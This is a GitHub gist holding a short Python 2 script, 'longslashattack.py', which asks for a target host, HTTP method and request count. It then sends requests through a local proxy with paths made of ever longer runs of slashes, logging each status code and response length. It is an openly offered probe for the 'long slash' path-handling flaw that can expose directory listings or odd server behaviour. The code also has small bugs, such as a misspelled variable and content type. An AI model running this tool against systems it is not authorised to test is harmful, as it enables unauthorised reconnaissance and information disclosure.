Last active
September 23, 2016 01:45
-
-
Save YasserGersy/1608b3e03e0faed9e2700b2f16ed93ef to your computer and use it in GitHub Desktop.
longslashattack.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import httplib, urllib | |
print "|------------------------------------------------------------|" | |
print "|------------------------------------------------------------|" | |
print "|------------------------Classic-----------------------------|" | |
print "|------------ Long slash Attack ---------------|" | |
print "|------------ By ---------------|" | |
print "|------------ @YasserGersy ---------------|" | |
print "|------------------------------------------------------------|" | |
print "|------------------------------------------------------------|" | |
cont="texh/html" | |
host='http://google.com' | |
params='' | |
req=1 | |
h=raw_input('\n\nHost (eg google.com) : ').lower() | |
host=h | |
if not host.startswith('http'): | |
host = "http://"+host | |
if len(host)<9: | |
exit() | |
method = raw_input("\n\nMethod (POST,GET .. etc):") | |
if(len(method)<1): | |
method='GET' | |
if method =="POST": | |
cont='application/x-www-form-urlencoded' | |
try: | |
count=input('\n\nHow many requests ?') | |
except: | |
count=100 | |
conunt=int(count) | |
#params = urllib.urlencode({'spam': 1, 'eggs': 2, 'bacon': 0}) | |
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36", | |
"Accept": "*", | |
"Content-type": cont, | |
"Accept-Language": "en-US,en;q=0.8,ar;q=0.6", | |
"Referer": host | |
} | |
def doi(x): | |
conn = httplib.HTTPConnection('127.0.0.1:8080') | |
conn.request(method, host+x, params, headers) | |
response = conn.getresponse() | |
data = response.read() | |
print "[Request",len(x)+1,(' ' if len(x) <9 else ''),"] [ ",response.status,"][",response.reason ,"] [Content-Length > ",len(data),"] [URI]>[",host+x,"]" | |
conn.close() | |
for i in range(0,count): | |
s = "/" * i | |
doi(s) | |
print '---------------------------Done--------------------------------------------------\n' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment